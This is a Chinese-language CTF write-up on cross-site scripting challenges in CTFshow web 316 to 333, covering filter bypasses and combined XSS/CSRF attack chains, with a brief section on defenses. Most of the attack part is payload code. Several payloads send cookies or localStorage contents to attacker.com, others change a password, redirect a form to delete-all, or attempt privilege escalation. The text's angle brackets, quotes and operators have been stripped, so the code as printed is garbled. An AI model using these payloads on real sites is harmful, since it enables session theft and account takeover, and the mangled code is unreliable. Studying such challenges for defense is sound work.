CTFshow实战笔记:从XSS基础到组合攻击(WEB 316-333)
1. XSS基础入门从反射型到存储型第一次接触XSS漏洞时我被这种看似简单实则变化多端的攻击方式深深吸引。记得在CTFshow的web316题目中一个最基本的反射型XSS就让我栽了跟头。题目页面只有一个简单的搜索框输入内容后会直接显示在页面上。我下意识地输入了scriptalert(1)/script结果页面竟然弹出了警告框这种最基础的攻击方式恰恰暴露了很多开发者对用户输入缺乏过滤的常见问题。反射型XSS的特点是恶意脚本不会存储在服务器上而是通过URL参数等方式即时触发。在实际测试中我习惯用下面这个简单的payload来检测是否存在基础XSS漏洞scriptalert(document.domain)/script存储型XSS则更加危险恶意脚本会被保存在服务器数据库中影响所有访问相关页面的用户。在web320题目中我遇到了一个留言板功能任何用户提交的内容都会显示在公共页面上。通过插入一个窃取cookie的脚本我成功获取了其他用户的会话信息scriptnew Image().srchttp://attacker.com/steal?cookiedocument.cookie/script理解这两种基础XSS的区别很关键反射型需要诱骗用户点击特定链接存储型则自动影响所有访问者DOM型则完全在客户端执行不经过服务器2. 绕过常见过滤机制当我在web325题目中再次尝试基础XSS payload时发现script标签被直接过滤掉了。这让我意识到现实中的XSS攻击远没有这么简单。经过多次尝试我发现了几种有效的绕过技巧大小写混淆是最基础的绕过方式。很多过滤器只检测小写标签尝试这样的变种ScRiPtalert(1)/sCriPt双写绕过针对的是简单替换过滤。如果系统只是删除script字符串可以尝试scrscriptiptalert(1)/script更高级的编码绕过在web327中特别有效。题目过滤了空格和引号我最终使用HTML实体编码成功执行img/srcx/onerroralert(1)在web330中我遇到了最棘手的场景所有特殊字符都被转义。经过反复测试发现可以通过JavaScript伪协议结合DOM操作来绕过a hrefjavascript:eval(alert(1))click/a3. 实战中的XSS利用技巧真正让XSS发挥威力的是如何将其转化为实际攻击。在CTFshow的web328中我首次尝试了窃取管理员cookie的攻击链。首先构造一个特殊的payloadscript fetch(http://attacker.com/steal, { method: POST, body: document.cookie }) /script然后将这个payload通过留言板提交等待管理员查看。为了增加成功率我还添加了隐藏iframe来静默执行iframe srcjavascript:document.write(scriptfetch(...)/script) styledisplay:none在web331中题目要求获取管理员本地存储的数据。这需要更精细的payload设计script let data ; for(let i0; ilocalStorage.length; i){ let key localStorage.key(i); data key:localStorage.getItem(key)\n; } new Image().srchttp://attacker.com/steal?dataencodeURIComponent(data); /script4. XSS与其他漏洞的组合攻击web332-333系列题目展示了XSS如何与其他漏洞形成致命组合。在web332中我发现了一个CSRF漏洞结合之前发现的XSS可以构造出完整的攻击链script function changePassword() { fetch(/change-password, { method: POST, body: newpassattacker123 }); } setTimeout(changePassword, 3000); /scriptweb333则引入了逻辑漏洞通过XSS绕过前端验证script document.forms[0].onsubmit function() { this.action /admin/delete-all; return true; } /script最复杂的组合攻击出现在web329中需要串联XSS、CSRF和权限提升漏洞script // 第一阶段获取敏感信息 fetch(/admin/profile) .then(r r.text()) .then(data { // 第二阶段构造CSRF攻击 let form document.createElement(form); form.method POST; form.action /admin/privilege-escalation; // ...添加表单字段 document.body.appendChild(form); form.submit(); }); /script5. 防御措施与实战建议在解决这些题目的过程中我也总结出了一些有效的防御方法。对于开发者来说最重要的是实施输入过滤和输出编码。例如在Node.js中可以使用以下方法const sanitizeHtml require(sanitize-html); const clean sanitizeHtml(userInput, { allowedTags: [], allowedAttributes: {} });对于现代前端框架React等库已经内置了XSS防护但开发者仍需注意dangerouslySetInnerHTML等危险API的使用。在CTF比赛中我常用的XSS测试流程是先尝试最基本的payload测试过滤级别查看页面源码分析过滤机制逐步尝试各种编码和绕过技巧最后设计完整的攻击链记得在web326中我花了整整两小时才找到正确的绕过方式。那次经历让我明白XSS攻防是一场耐心的较量需要不断尝试和调整策略。